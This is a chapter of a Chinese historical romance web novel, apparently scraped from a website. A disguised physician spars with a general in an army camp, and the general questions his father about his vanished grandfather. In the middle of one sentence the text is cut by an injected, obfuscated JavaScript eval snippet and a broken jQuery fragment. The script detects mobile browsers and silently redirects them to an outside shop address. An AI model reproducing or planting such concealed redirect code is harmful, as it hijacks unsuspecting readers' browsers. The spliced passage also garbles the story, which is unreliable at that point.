月色初上,营帐内点起了油灯,点点星光带着细雪纷纷扬扬的洒落。
林朝颜呆坐在营帐里,手边是尚未研磨完的金创药,账外靴声沓沓,巡逻的士兵自帐前走过。
她耳朵微动,仔细听着那双沉稳的脚步声由远而近传来,又来了。
不出她所料,转瞬间那双厚茧大手掀开帐帘,探身步入帐中。
“莫将军可真守时,日日前来,是将军太过闲散了,还是我让将军如此紧张?”林朝颜手指无意识地研磨药粉,语气散漫,似无奈又似赌气。
莫行之迈步至跟前,遮挡住她大半的视线,昏暗的烛火泯泯灭灭,让人看不清他脸上的神情。
“李大夫是不关心弟妹与令祖父了?”他嗓音微哑,听不出情绪。
“莫将军可愿意说了?这每日问了您也不告知我,就只会勾我心绪。”她撇着嘴,眼睑未抬半分,仍旧拨弄着手上的药粉。
“敢问李大夫,令祖父姓甚名谁?”
“将军为何突然打探爷爷的名字?”林朝颜心生警惕,皱眉反问,并抬眸对上那双漆黑的眼眸。
此人心思紧密,稍有不慎她便满盘皆输,虽不知他如今查到何等线索,但她总归小心些为好。
莫行之目光落在她脸上,怔愣出了神。
他生着一副清秀的好相貌,修长远山眉,肤色冷白,眼眸弯弯,可灯火映照在他的侧脸上,将眉骨鼻梁与下颚的线条展现得愈发清晰,与她何其相似,却又不似。
林朝颜见他出了神,生怕他看出些什么,毕竟她不过是稍稍修饰了下面容。
赶忙站起身,伸出圆润的手指轻挑了下他的下巴,道:“小生虽知自身长得过于美貌,可莫将军莫不是喜欢小生这种容貌的女子?”
莫行之回神,他瞬间钳住她的脖颈,渐渐收紧,耳根泛红,眸中渗出几分戾气,羞愤交加,他竟是恼羞成怒了。
被勒得面色发紫的林朝颜眼神瞬变,眼底全是怒意,右臂狠挥,手掌似刀刃般劈落在他手臂,他吃痛一刹间松开了手掌。
未等他反应,她欺身一记记重拳重重挥向他的门面,莫行之向后急退,不断闪躲着生猛的拳头,拳如炮响,拳风擦过脸颊带着汩汩劲风。
见他向后闪躲,林朝颜手指勾住对方腰带,猛地往回一扯,翻身拽倒他,将他压在桌面上,小臂抵在他咽喉间,恶狠狠地道:“莫行之你这般行事,我容忍你许久了,你若是再敢相逼犯我,我定不饶你!”
桌上药粉散落一地,沾满他的披风,而莫行之却似刚回神般,声音涩然,道:“你会武功?”
“你知晓便好,我也并非手无缚鸡之力的柔弱大夫。”小臂向前顶了两下,呼吸微喘,眸中厉色一闪而过。
倒是莫行之此时冷静了下来,那漆黑的双眸不见半点波澜,他抬手垫与脑后,神色从容的望着她,半晌不出声。
帐内安静得只能听到彼此呼吸声,呼吸交缠,没有半分旖旎,只存有取胜之心,势必要胜他一筹。
“没想到李大夫竟有如此力道。”
语毕,莫行之伸手钳住她的手臂,腰身向上一挺,带着林朝颜起身,手腕向后一拧,整个身子与她后背相贴。
林朝颜刚想还手,他却将她向前推开几步松了手劲,身后传来淡淡的声音:“今日来,是想告知李大夫,令弟妹已接入河州城内安顿好,等李大夫制好足够分量的金创药,我会命人送你们出城回清安县。”
话音落下,他正欲转身走出帐,脚步才迈开,林朝颜却出声唤住他:“等等。”
他顿住脚步,转过身,不明所以挑眉望向她。
“我想沐浴。”林朝颜脸颊微微泛红,声音糯糯,似是羞耻。
他疑惑,皱眉问道:“问伙房要些热水擦拭如此不就成了?”
“将军莫不是忘了,你交代的任何人不能同我接触,我找谁要去。”林朝颜目光斜睨,白了他一眼,
他似恍然大悟般了然了,随即道:“我会安排人给你送热水,但,一周一次。往后取药我也一周来一次。”
她有心想争取多几次,可对方并不给她机会转身便离开了。
一弯残月冷冷悬在黑幕中,微弱的光线照在他渐行渐远的背影上,掀开帐帘冷风吹进,只一瞬帐帘便被放下了,方才的人也消失在帐内。
林朝样暗中盘算如何逃出这军营,困于此并非长久之计,何况爷爷还未寻到踪迹。
早知如此,那日即便会暴露身份,她也定会想法子逃走,便不会落入如此困境,还将把柄送到了他的手上,是她想岔了。
***
踏着月色走入本帐内,莫行之方才淡然地神情变得暗沉,声音冷冽对外喊道:“来人,让陆骁来帐内商议军事。”
账外的士兵应声前往副将营帐传唤。
一盏茶的功夫,陆骁便疾步踏入帐内,气息微喘,恭敬道:“将军,有何吩咐?”
“你速去一趟清安县,查探一下李润禾的来历,着重详查他的医术与武力,还有他家中几口人。”
“属下遵命,即可便去。”陆骁领命离开,留他一人在帐内沉思。
从初见李润禾起,他心绪便乱了,想见他,因他与公主长得十分相似,不愿见他,也因如此,一度控制不住的每日前往他的营帐,面上说着取药,实际不过是想多看两眼。
那张他朝思暮想的脸。
可方才他动手的一瞬,让他知晓了,他,并非是她。
莫行之坐在案前手肘撑于桌面,闭眸轻按太阳穴,脑中混乱无比。
“行之,可是身体不适?”镇国公从外走进便看见的这幅情形,不免开口关心道。
睁眼看见来人,莫行之迅速起身相迎,眼尾微垂温顺拱手喊道:“父亲,儿臣身体并无不适,只是心中思虑一些事情罢了。可是敌军有动静了?"
镇国公微微颔首,神情凝重,低声道:“怕是会有夜袭,夜间你多派点人手,虽过几日便是春节了,但不能松懈。”
“好,我去安排。”
“嗯,那我先回了。”镇国公轻拍他肩头,如今军
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17961347|213003||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
营内大小事务都交于他,也是该成长起来了。
“父亲留步,儿子有一事想问。”莫行之轻声唤住他,依旧低声与他交谈。
“儿臣曾听父亲提及过祖父,不知父亲能否再给儿臣讲讲?”
镇国公一愣,神色微微意外,道:“你想知道?”
他点点头,神情认真严肃,并无玩笑之意。
“行,那为父给你讲讲。”两人走到凳前双双坐下,莫行之端起茶壶给父亲倒了一杯茶送至他面前,镇国公端起茶盏浅啜一口,这才缓缓道来。
“你祖父名莫桓,曾是圣上亲封的昭勇将军,当时他带着三万军兵逼退六万敌人,守住边关,我这一身搏杀本事,皆是向他所学的。”
“可天子之争,你祖父最终退隐保我们一家平安,但一直招人追杀,最终连我也无从知晓他的下落。”
镇国公长叹,神情黯淡,似是思念起年幼时教他练武的那高大身躯。
“那父亲可知,祖父长何模样?”
自记事起,他便从未见过祖父,曾问过父亲,父亲总以他过于年幼不愿提及,却未曾想是如此跌宕往事。
“为父也多年未见过他了,你祖父他..”镇国公心神恍入往事,目光飘远,追忆道:“他肩背宽阔,骨架厚重,一身军人挺拔的风骨,眉骨高凸,浓眉斜飞入发髻,哦,险些忘了,他右耳缺了小半耳尖,是当年交战时,被敌寇削去了耳尖。”
听至此,莫行之猛然一怔,骤然想起前两日属下回禀过,关于李润禾祖父的诸多形貌,其中一条,便是右耳缺了耳尖。
他怎会与祖父相识?自己的祖父何时成了他的祖父?真有如此巧合之事?而他的身手也是祖父所教的吗?
一桩桩疑虑让他脑中如一团浆糊,无数疑思在翻涌。
莫行之压下心中疑虑,径直开口问道:“父亲这些年和祖父是否有联系?”
“为何如此问?你想见你祖父了?”这会轮到镇国公疑虑了,今日的行之有些异常。
他抿了抿唇,并未道出原因,只继续追问,“父亲可否和祖父联系上?孙儿有事找祖父。”
镇国公不语深深望着他,似要窥探他心底的所思所想,眸光沉沉。
“拜托您了父亲!”莫行之微微欠身,拱手于胸前,神色恳切,已然是相求的姿态。
镇国公喟叹,“罢了,我去给你想想办法,我也无法给你准确消息,你莫要过于期望。”
“好。”
帐中人声消散,夜色朦胧,思绪万千,扰得他无法入眠,偶思起少女灵动笑颜,又思及今夜少年愤怒涨红的脸。
方才暂停的细雪再度纷飞,碎雪簌簌飘落,掉落在营帐檐角。
始终无法入睡,他便不打算睡了,直起身出了帐,仅站在账外远远遥望旁边的小账,那帐内早已黑压压不见灯火,想来是已睡下了。
将他放在自己的营帐旁是他的主意,或许是因为要监视她,亦或许是因为...
想见他。
或者说,是想见她。